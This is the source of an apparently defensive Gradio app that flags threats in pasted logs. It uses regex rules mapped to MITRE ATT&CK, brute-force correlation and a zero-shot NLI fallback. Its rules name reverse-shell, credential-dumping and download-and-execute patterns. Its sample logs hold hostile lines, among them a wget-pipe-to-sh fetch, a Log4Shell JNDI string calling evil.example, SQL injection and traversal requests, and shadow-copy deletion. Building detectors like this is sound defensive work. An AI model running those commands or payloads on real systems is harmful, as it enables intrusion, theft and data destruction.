"""Log Threat Classifier.

Hybrid detector for pasted system / security logs:
  1. A signature engine (regex rules mapped to categories, severity and MITRE ATT&CK) – precise, explainable.
  2. Cross-line correlation (e.g. brute force, "success after many failures").
  3. A transformer zero-shot NLI model (DeBERTa-v3 base) as a semantic fallback for lines that no
     signature matched. It can only raise a line to *Low/Medium* – never High/Critical.
There is no labelled-log fine-tune behind this demo; treat results as triage hints, not verdicts.
"""

from __future__ import annotations

import re
from collections import Counter, defaultdict

import gradio as gr
import pandas as pd
import torch
from transformers import AutoModelForSequenceClassification, AutoTokenizer

torch.set_num_threads(2)

NLI_ID = "MoritzLaurer/deberta-v3-base-zeroshot-v2.0"
nli_tok = AutoTokenizer.from_pretrained(NLI_ID)
nli_mdl = AutoModelForSequenceClassification.from_pretrained(NLI_ID).eval()
ENTAIL = 0  # id2label: 0 entailment, 1 not_entailment

H_THREAT = "This log entry describes malicious activity, an attack or an intrusion attempt."
H_BENIGN = "This log entry describes routine system activity."

# (name, regex, severity 0-100, MITRE technique, explanation)
RULES: list[tuple[str, str, int, str, str]] = [
    ("Log4Shell / JNDI injection", r"\$\{jndi:|\$\{\$\{::-j\}", 97, "T1190", "JNDI lookup string typical of Log4j exploitation"),
    ("Reverse shell", r"bash\s+-i\s*>&|/dev/tcp/|\bnc(?:at)?\b.*\s-e\s|\bmkfifo\b.*\bnc\b|socat\b.*exec:|python\d?\s+-c\s+['\"]import socket", 96, "T1059.004", "Interactive shell redirected to a remote host"),
    ("Credential dumping", r"mimikatz|sekurlsa|lsass(?:\.exe)?\s.*dump|procdump.*lsass|comsvcs\.dll.*MiniDump|ntds\.dit|secretsdump", 95, "T1003", "Tooling or access pattern used to steal credentials"),
    ("Ransomware behaviour", r"vssadmin\s+delete\s+shadows|wbadmin\s+delete\s+(?:catalog|backup)|bcdedit.*recoveryenabled\s+no|\.(?:locked|encrypted|crypt|lockbit|ryuk)\b|ransom(?:ware|_note)?|YOUR FILES (?:ARE|HAVE BEEN) ENCRYPTED", 95, "T1486", "Shadow-copy deletion / encrypted file extensions / ransom note"),
    ("Encoded / obfuscated PowerShell", r"powershell(?:\.exe)?\s.*(?:-enc(?:odedcommand)?|-e)\s+[A-Za-z0-9+/=]{20,}|FromBase64String|IEX\s*\(|Invoke-Expression|DownloadString\(|-nop\s.*-w\s+hidden", 88, "T1059.001", "Obfuscated PowerShell commonly used for malware staging"),
    ("Download-and-execute", r"(?:curl|wget)\s[^|;\n]*\|\s*(?:ba)?sh|certutil.*-urlcache|bitsadmin.*/transfer|mshta\s+https?://|regsvr32.*/i:http|rundll32.*javascript:", 90, "T1105", "Remote payload fetched and executed"),
    ("Defense evasion – log tampering", r"wevtutil\s+cl\b|Clear-EventLog|audit log (?:was )?cleared|EventID[=: ]+1102\b|history\s+-c|unset\s+HISTFILE|rm\s+-rf?\s+/var/log|Set-MpPreference.*Disable|systemctl\s+(?:stop|disable)\s+(?:auditd|rsyslog|falcon|wazuh)", 88, "T1070", "Logs or security tooling disabled / wiped"),
    ("SQL injection", r"union(?:\s|\+|%20)+(?:all(?:\s|\+|%20)+)?select|(?:'|%27)\s*or\s*(?:'|%27)?1(?:'|%27)?\s*=\s*(?:'|%27)?1|information_schema|sleep\(\d+\)|benchmark\(|xp_cmdshell|;\s*drop\s+table|waitfor\s+delay", 82, "T1190", "SQL metacharacters / injection payload in request"),
    ("Command injection", r"(?:;|\||&&|`|\$\()\s*(?:cat|ls|id|whoami|uname|wget|curl|nc|bash|sh|ping)\b.*(?:HTTP/|GET|POST)|cmd=(?:cat|id|whoami|ls)|/bin/(?:ba)?sh\s+-c", 84, "T1059", "Shell metacharacters in request parameters"),
    ("Path traversal / LFI", r"(?:\.\./){2,}|%2e%2e(?:%2f|/)|\.\.\\\.\.\\|/etc/(?:passwd|shadow)|boot\.ini|win\.ini|/proc/self/environ", 78, "T1083", "Directory traversal sequence or sensitive file access"),
    ("Cross-site scripting", r"<script|%3cscript|onerror\s*=|onload\s*=|javascript:|<img[^>]+src=x", 66, "T1059.007", "Script payload in request"),
    ("Web shell access", r"(?:c99|r57|b374k|wso|china ?chopper)\.php|cmd\.(?:php|jsp|aspx)|shell\.(?:php|jsp|aspx)\?|eval\(base64_decode|assert\(\$_(?:POST|REQUEST)", 90, "T1505.003", "Known web shell filename or webshell code"),
    ("Persistence – scheduled task / autorun", r"schtasks\s+/create|crontab\s+-[el]?\s*.*(?:wget|curl|nc|bash)|reg\s+add\s+.*\\Run\b|HKLM\\.*\\Run\b|authorized_keys.*(?:modified|written|appended)|new service was installed|EventID[=: ]+7045\b|systemctl\s+enable\s+\S+\.service.*tmp", 72, "T1053", "New autorun / scheduled task / SSH key"),
    ("Privilege escalation", r"sudo:.*(?:incorrect password attempts|NOT in sudoers)|COMMAND=/bin/(?:ba)?sh|chmod\s+(?:[u+]*s|[4267]7\d\d)|setuid|added to (?:the )?(?:administrators|sudo|wheel)|usermod\s+-a?G\s+(?:sudo|wheel)|EventID[=: ]+(?:4728|4732|4756)\b|su: FAILED SU|useradd\b.*-(?:o\s+)?-?u\s*0\b", 68, "T1068", "Attempt to gain elevated privileges"),
    ("New account created", r"new user:|useradd\b|adduser\b|net\s+user\s+\S+\s+\S+\s+/add|EventID[=: ]+4720\b", 55, "T1136", "A new local account appeared"),
    ("Data exfiltration", r"(?:scp|rsync|sftp)\s.*@(?!10\.|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.)\d+\.\d+\.\d+\.\d+|exfil|(?:sent|upload(?:ed)?|outbound)\D{0,20}\d{3,}\s?(?:MB|GB)|dns\s+tunnel|mega\.nz|transfer\.sh|pastebin\.com/raw", 76, "T1041", "Large or unusual outbound transfer"),
    ("Recon / vulnerability scanner", r"nmap|masscan|sqlmap|nikto|dirbuster|gobuster|wpscan|nessus|acunetix|zgrab|User-Agent:?\s*\"?(?:Mozilla/5\.0 \(compatible; (?:Nmap|Nikto))|port scan(?:ning)?|SYN scan|Connection attempt on port", 50, "T1595", "Scanner signature or scan behaviour"),
    ("Authentication failure", r"failed password|authentication failure|invalid user|login failed|logon failure|EventID[=: ]+4625\b|failed login|bad password|access denied for user|Permission denied \(publickey|FAILED LOGIN|\b401\b.*(?:login|auth)|Invalid credentials", 42, "T1110", "Failed authentication attempt"),
    ("SYN flood / DoS", r"possible SYN flooding|SYN[_ ]flood|too many connections from|rate limit exceeded|connection flood|DDoS|UDP flood", 62, "T1499", "Volumetric or protocol flooding indicator"),
    ("Firewall / IDS block", r"\b(?:DROP|REJECT|BLOCK(?:ED)?|DENY)\b.*(?:SRC=|src[_= ]|from )|firewall.*(?:blocked|denied)|IDS alert|snort\[|suricata|ET (?:SCAN|EXPLOIT|MALWARE|TROJAN)|\[Priority: [12]\]", 38, "T1595", "Perimeter control reacted to suspicious traffic"),
    ("Suspicious process chain (Office → shell)", r"(?:cmd|powershell|wscript|cscript|mshta)\.exe.*(?:winword|excel|outlook|powerpnt)\.exe|(?:winword|excel|outlook|powerpnt)\.exe.*(?:cmd|powershell|wscript|cscript|mshta)\.exe", 80, "T1204.002", "Office application spawning a shell / script host"),
    ("Suspicious tool / LOLBin", r"\b(?:certutil|bitsadmin|mshta|regsvr32|rundll32|wmic|psexec|cscript|wscript)(?:\.exe)?\b\s+\S+", 45, "T1218", "Living-off-the-land binary invoked"),
    ("Error / service issue", r"\b(?:ERROR|CRITICAL|FATAL|segfault|panic|out of memory|OOM|stack trace|Traceback)\b", 22, "", "Operational error – not necessarily malicious"),
]
COMPILED = [(n, re.compile(rx, re.I), sev, t, why) for n, rx, sev, t, why in RULES]

BENIGN_HINTS = re.compile(
    r"accepted (?:publickey|password) for|session (?:opened|closed)|started session|\bINFO\b|\bDEBUG\b|GET [^\"]*\" 200 |\" 304 |health ?check|systemd\[\d+\]: (?:started|starting|finished)|cron\[\d+\]: \(\w+\) CMD|logged in successfully|EventID[=: ]+4624\b|NetworkManager|dhclient|backup completed|completed successfully",
    re.I,
)
IP_RE = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b")
USER_RE = re.compile(r"(?:for(?: invalid user)?|user[=: ]+|Account Name:\s+)\s*([A-Za-z0-9_.\-$]+)", re.I)
SUCCESS_RE = re.compile(r"accepted (?:password|publickey)|logged in successfully|EventID[=: ]+4624\b|session opened for user", re.I)

BANDS = [(80, "Critical", "#7f1d1d"), (60, "High", "#dc2626"), (40, "Medium", "#f59e0b"), (20, "Low", "#eab308"), (0, "Info", "#16a34a")]


def band(sev: int) -> str:
    for lo, name, _ in BANDS:
        if sev >= lo:
            return name
    return "Info"


@torch.inference_mode()
def nli_threat_scores(lines: list[str]) -> list[float]:
    """P(malicious) via a 2-way softmax over the entailment logits of a threat / routine hypothesis pair."""
    if not lines:
        return []
    out: list[float] = []
    for i in range(0, len(lines), 16):
        chunk = [l[:300] for l in lines[i : i + 16]]
        logit = {}
        for key, hyp in (("t", H_THREAT), ("b", H_BENIGN)):
            enc = nli_tok(chunk, [hyp] * len(chunk), return_tensors="pt", padding=True, truncation=True, max_length=128)
            logit[key] = nli_mdl(**enc).logits[:, ENTAIL]
        out += torch.softmax(torch.stack([logit["t"], logit["b"]], dim=1), dim=1)[:, 0].tolist()
    return out


def analyse(raw: str, use_nli: bool, threshold: int):
    lines = [l.rstrip() for l in (raw or "").splitlines() if l.strip()][:300]
    if not lines:
        raise gr.Error("Paste some log lines first.")

    rows = []
    for idx, line in enumerate(lines, 1):
        hits = [(n, sev, tech, why) for n, rx, sev, tech, why in COMPILED if rx.search(line)]
        hits.sort(key=lambda h: -h[1])
        rows.append({"line": idx, "text": line, "hits": hits})

    # -- cross-line correlation ---------------------------------------------------------------
    fails_by_ip, fails_by_user = Counter(), Counter()
    fail_lines = defaultdict(list)
    for r in rows:
        if any(h[0] == "Authentication failure" for h in r["hits"]):
            ip = (IP_RE.findall(r["text"]) or ["?"])[0]
            fails_by_ip[ip] += 1
            fail_lines[ip].append(r["line"])
            m = USER_RE.search(r["text"])
            if m:
                fails_by_user[m.group(1)] += 1
    brute_ips = {ip for ip, c in fails_by_ip.items() if c >= 4 and ip != "?"}
    users_by_ip = defaultdict(set)
    for r in rows:
        if any(h[0] == "Authentication failure" for h in r["hits"]):
            ip = (IP_RE.findall(r["text"]) or ["?"])[0]
            m = USER_RE.search(r["text"])
            if m:
                users_by_ip[ip].add(m.group(1))
    findings: list[str] = []
    for ip in brute_ips:
        kind = "password spraying / user enumeration" if len(users_by_ip[ip]) >= 3 else "brute force"
        findings.append(f"🔴 **{fails_by_ip[ip]} failed logins from `{ip}`** ({kind}, {len(users_by_ip[ip])} account(s)) – MITRE T1110")
    for r in rows:
        if SUCCESS_RE.search(r["text"]):
            ips = IP_RE.findall(r["text"])
            if ips and ips[0] in brute_ips:
                r["hits"].insert(0, ("Successful login after brute force", 92, "T1078", f"{ips[0]} succeeded after {fails_by_ip[ips[0]]} failures – possible account compromise"))
                findings.append(f"🚨 **Possible account compromise:** successful login from `{ips[0]}` on line {r['line']} after repeated failures – MITRE T1078")

    for r in rows:
        if r["hits"] and r["hits"][0][0] == "Authentication failure":
            ips = IP_RE.findall(r["text"])
            if ips and ips[0] in brute_ips:
                n, sev, tech, why = r["hits"][0]
                r["hits"][0] = ("Brute-force attempt", 70, tech, f"Part of {fails_by_ip[ips[0]]} failures from {ips[0]}")

    # -- NLI fallback ---------------------------------------------------------------------------
    nli_idx = [i for i, r in enumerate(rows) if use_nli and not r["hits"] and not BENIGN_HINTS.search(r["text"])]
    nli_scores = dict(zip(nli_idx, nli_threat_scores([rows[i]["text"] for i in nli_idx])))

    table, spans = [], []
    for i, r in enumerate(rows):
        if r["hits"]:
            name, sev, tech, why = r["hits"][0]
            if BENIGN_HINTS.search(r["text"]) and sev < 30:
                sev, name, why = 5, "Routine activity", "Matches benign pattern"
            src = "signature"
            if len(r["hits"]) > 1:
                sev = min(100, sev + 3 * (len(r["hits"]) - 1))
                why += f" (+{len(r['hits']) - 1} more indicator(s): {', '.join(h[0] for h in r['hits'][1:3])})"
        elif i in nli_scores:
            p = nli_scores[i]
            sev = int(round(min(45, 15 + (p - 0.5) * 70))) if p > 0.5 else int(p * 10)
            name, tech, src = ("Suspicious (semantic)" if sev >= 20 else "Unclassified"), "", "NLI zero-shot"
            why = f"No signature matched; zero-shot threat probability {p:.0%}"
        else:
            sev, name, tech, src, why = (3 if BENIGN_HINTS.search(r["text"]) else 8), "Routine activity", "", "heuristic", "No indicators"
        label = "Threat" if sev >= threshold else "Benign"
        table.append({"Line": r["line"], "Label": label, "Severity": sev, "Level": band(sev), "Category": name, "MITRE": tech, "Source": src, "Why": why, "Log": r["text"][:160]})
        spans.append((r["text"] + "\n", label if label == "Threat" and sev < 60 else (band(sev) if label == "Threat" else None)))

    df = pd.DataFrame(table)
    sev_list = sorted(df["Severity"].tolist(), reverse=True)
    top3 = sev_list[:3]
    overall = int(min(100, (top3[0] if top3 else 0) * 0.7 + (sum(top3[1:]) / max(len(top3[1:]), 1)) * 0.3 + (8 if len(brute_ips) else 0)))
    n_threat = int((df["Label"] == "Threat").sum())
    overall_label = "Threat" if overall >= threshold else "Benign"

    cats = df[df["Label"] == "Threat"].groupby("Category")["Severity"].agg(["count", "max"]).sort_values("max", ascending=False)
    summary = [f"## {'🚨' if overall_label == 'Threat' else '✅'} Overall: **{overall_label}** — severity **{overall}/100** ({band(overall)})",
               f"{n_threat} of {len(df)} lines flagged as threats (threshold ≥ {threshold})."]
    if findings:
        summary += ["", "### Correlated findings"] + [f"- {f}" for f in findings]
    if len(cats):
        summary += ["", "### Threat categories"] + [f"- **{c}** – {int(row['count'])} line(s), max severity {int(row['max'])}" for c, row in cats.iterrows()]
    hl_colors = {n: c for _, n, c in BANDS}
    hl_colors["Threat"] = "#f59e0b"
    spans = [(t, l if l in hl_colors else None) for t, l in spans]
    return {"Threat": overall / 100, "Benign": 1 - overall / 100}, overall, "\n".join(summary), spans, df.drop(columns=[]).sort_values("Severity", ascending=False).reset_index(drop=True)


SSH_EX = """Oct 29 03:12:01 web01 sshd[2211]: Failed password for invalid user admin from 203.0.113.45 port 51234 ssh2
Oct 29 03:12:03 web01 sshd[2213]: Failed password for invalid user oracle from 203.0.113.45 port 51240 ssh2
Oct 29 03:12:05 web01 sshd[2215]: Failed password for root from 203.0.113.45 port 51246 ssh2
Oct 29 03:12:07 web01 sshd[2217]: Failed password for root from 203.0.113.45 port 51251 ssh2
Oct 29 03:12:09 web01 sshd[2219]: Failed password for ubuntu from 203.0.113.45 port 51260 ssh2
Oct 29 03:12:14 web01 sshd[2221]: Accepted password for ubuntu from 203.0.113.45 port 51266 ssh2
Oct 29 03:12:15 web01 sshd[2221]: pam_unix(sshd:session): session opened for user ubuntu
Oct 29 03:12:40 web01 sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/bash
Oct 29 03:13:02 web01 bash[2290]: wget http://203.0.113.45/x.sh -O- | sh
Oct 29 03:14:10 web01 CRON[2301]: (root) CMD (/usr/lib/php/sessionclean)
Oct 29 03:15:00 web01 systemd[1]: Started Daily apt download activities."""
WEB_EX = """10.0.0.12 - - [29/Oct/2026:10:01:11 +0000] "GET /index.html HTTP/1.1" 200 5120 "-" "Mozilla/5.0"
10.0.0.12 - - [29/Oct/2026:10:01:12 +0000] "GET /static/app.css HTTP/1.1" 200 8201 "-" "Mozilla/5.0"
198.51.100.7 - - [29/Oct/2026:10:02:44 +0000] "GET /products.php?id=1' UNION SELECT username,password FROM users-- HTTP/1.1" 200 912 "-" "sqlmap/1.7"
198.51.100.7 - - [29/Oct/2026:10:02:50 +0000] "GET /download?file=../../../../etc/passwd HTTP/1.1" 200 1432 "-" "curl/8.0"
198.51.100.9 - - [29/Oct/2026:10:03:01 +0000] "GET /?q=<script>alert(1)</script> HTTP/1.1" 200 640 "-" "Mozilla/5.0"
198.51.100.9 - - [29/Oct/2026:10:03:20 +0000] "GET / HTTP/1.1" 200 640 "-" "${jndi:ldap://evil.example/a}"
10.0.0.15 - - [29/Oct/2026:10:04:00 +0000] "GET /health HTTP/1.1" 200 2 "-" "kube-probe/1.28\""""
WIN_EX = """EventID=4624 Logon Type=3 Account Name: svc_backup Source Network Address: 10.1.1.20 Status: Success
EventID=4688 New Process Name: C:\\Windows\\System32\\cmd.exe Creator Process: C:\\Program Files\\Microsoft Office\\WINWORD.EXE
EventID=4688 New Process Name: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe CommandLine: powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA
EventID=4688 New Process Name: C:\\Windows\\System32\\vssadmin.exe CommandLine: vssadmin delete shadows /all /quiet
EventID=1102 The audit log was cleared. Subject: Account Name: Administrator
Windows Update service entered the running state
Disk C: has 12% free space remaining"""

with gr.Blocks(title="Log Threat Classifier") as demo:
    with gr.Column(elem_id="col"):
        gr.Markdown(
            "# 🛡️ Log Threat Classifier\n"
            "Paste system / security logs (syslog, auth.log, web access logs, Windows events) → **Threat / Benign** per line, "
            "a **severity score (0-100)**, MITRE ATT&CK mapping and correlated findings.  \n"
            "Engine: signature rules + cross-line correlation + [DeBERTa-v3 zero-shot NLI](https://huggingface.co/MoritzLaurer/deberta-v3-base-zeroshot-v2.0) semantic fallback for unmatched lines."
        )
        with gr.Row():
            with gr.Column():
                inp = gr.Textbox(label="Logs (up to 300 lines)", lines=14, placeholder="Paste log lines here…")
                with gr.Row():
                    use_nli = gr.Checkbox(True, label="Use transformer (zero-shot) for unmatched lines")
                    thr = gr.Slider(20, 80, value=40, step=5, label="Threat threshold (severity ≥)")
                btn = gr.Button("Classify", variant="primary")
            with gr.Column():
                lab = gr.Label(label="Overall verdict", num_top_classes=2)
                score = gr.Slider(0, 100, label="Overall severity score", interactive=False)
                summary = gr.Markdown()
        hl = gr.HighlightedText(label="Annotated log", color_map={n: c for _, n, c in BANDS} | {"Threat": "#f59e0b"}, show_legend=True, combine_adjacent=False)
        table = gr.Dataframe(label="Per-line results (sorted by severity)", wrap=True, interactive=False)
        gr.Examples([[SSH_EX, True, 40], [WEB_EX, True, 40], [WIN_EX, True, 40]], inputs=[inp, use_nli, thr], outputs=[lab, score, summary, hl, table], fn=analyse, cache_examples=True, cache_mode="lazy", example_labels=["SSH brute force → compromise", "Web attack traffic", "Windows ransomware precursor"])
        gr.Markdown("⚠️ Triage aid only: rules are heuristic and the NLI fallback is zero-shot (not fine-tuned on logs). Logs are processed in memory and not stored. Don't paste secrets.")
    btn.click(analyse, [inp, use_nli, thr], [lab, score, summary, hl, table], api_name="classify")

if __name__ == "__main__":
    demo.queue(max_size=20).launch(theme=gr.themes.Soft(), css="#col {max-width: 1150px; margin: 0 auto;}")